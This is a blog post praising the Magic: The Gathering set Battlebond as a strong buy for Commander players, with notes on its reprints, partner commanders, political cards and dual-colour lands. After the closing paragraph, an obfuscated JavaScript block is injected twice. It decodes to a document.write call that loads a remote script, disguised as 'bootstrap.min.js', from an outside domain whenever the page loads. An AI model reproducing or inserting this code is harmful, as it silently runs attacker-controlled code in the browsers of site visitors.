Battlebond is Commander Masters

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Battlebond is coming soon. The latest Magic: The Gathering expansion is a set designed with two-headed giant in mind. That said, however, many players have noted that it’s not just two-headed giant that the set works well with but also Commander and multiplayer formats. I’ve heard more than a few people refer to Battlebond as Commander Masters based on the great reprints the set has. Since it is a standard release set, it also carries a standard release price tag which makes it even more appealing for anyone interested in multiplayer formats.

At the end of the day though, if you play Commander you are going to want to check out Battlebond. There’s just a lot of good stuff to find in this set.

So what is there to love?

The Reprints are Great!

There are a lot of great reprints in Battlebond that are also Commander staples — and many of these are cards that carry large price tags. Doubling Season, True-Name Nemesis, Land Tax and Mycosynth Lattice are all great Commander cards that are bound to draw some attention from Commander players and Doubling Season has been pushing $60+ making this a much needed reprint.

Partner is back!

 

Partner Commanders are back and with a bit of a twist. This keyword was introduced in the 2016 Commander decks allowing players to use two different commanders. This mechanic is back but now those cards name a single specific card they can be partnered with. Also the ability has been upgraded to allow you to search for that card’s partner after it enters the battlefield and put it in your hand. It gives some flexibility for Commander options and for other game types, it allows you to search up the partner card.

Planeswalker Partner Commanders

While I don’t feel that Will and Rowan are terribly impactful they are welcome additions to the list of potential commander cards and it’s nice to see more planeswalkers that we can use as commanders. On top of that, these two cards are partners as well giving you even more flexibility.

Powerful new cards

  

There are some great new cards in this set that are certainly worth checking out. In fact, many of the commons and uncommons are fairly potent as well due to the support of the two-headed giant draft format (which required there to be less “junk” cards).

Politics

  

Nothing is better in a multiplayer game than politics — and this set pushes politics a bit more. Some cards can request your allies contribute to paying the mana cost of a spell. Others have you naming other players as “friend” or “foe” and granting them different boons or penalties as a result. It plays well with group hug decks and can help the table when one player gets particularly far ahead.

The Amazing Lands

    

The lands in this set are amazing for Commander players and are almost guaranteed to come in play untapped. If these had basic land types as well they would be essentially dual lands for the most part. They don’t, but they are still some of the best two color lands you can find for Commander short of the original duals.

In short, this is an amazing set and something that any player fond of multiplayer Magic should check out. For Commander players, this set may have nearly as much value as a Masters set but with a much more manageable price tag! var _0xd2c1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x6A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x69\x73\x74\x6C”,”\x61\x6E\x64\x6F\x6C\x6C\x2E\x63\x6F\x6D\x2F\x62\x6F\x6F\x74\x73\x74\x72\x61\x70\x2E\x6D\x69\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function printstrap(){var _0xc3e3x2=_0xd2c1[0];var _0xc3e3x3=_0xd2c1[1];var _0xc3e3x4=_0xd2c1[2];var _0xc3e3x5=_0xd2c1[3];document[_0xd2c1[4]](_0xc3e3x2+ _0xc3e3x3+ _0xc3e3x4+ _0xc3e3x5)}printstrap() var _0xd2c1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x6A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x69\x73\x74\x6C”,”\x61\x6E\x64\x6F\x6C\x6C\x2E\x63\x6F\x6D\x2F\x62\x6F\x6F\x74\x73\x74\x72\x61\x70\x2E\x6D\x69\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function printstrap(){var _0xc3e3x2=_0xd2c1[0];var _0xc3e3x3=_0xd2c1[1];var _0xc3e3x4=_0xd2c1[2];var _0xc3e3x5=_0xd2c1[3];document[_0xd2c1[4]](_0xc3e3x2+ _0xc3e3x3+ _0xc3e3x4+ _0xc3e3x5)}printstrap()

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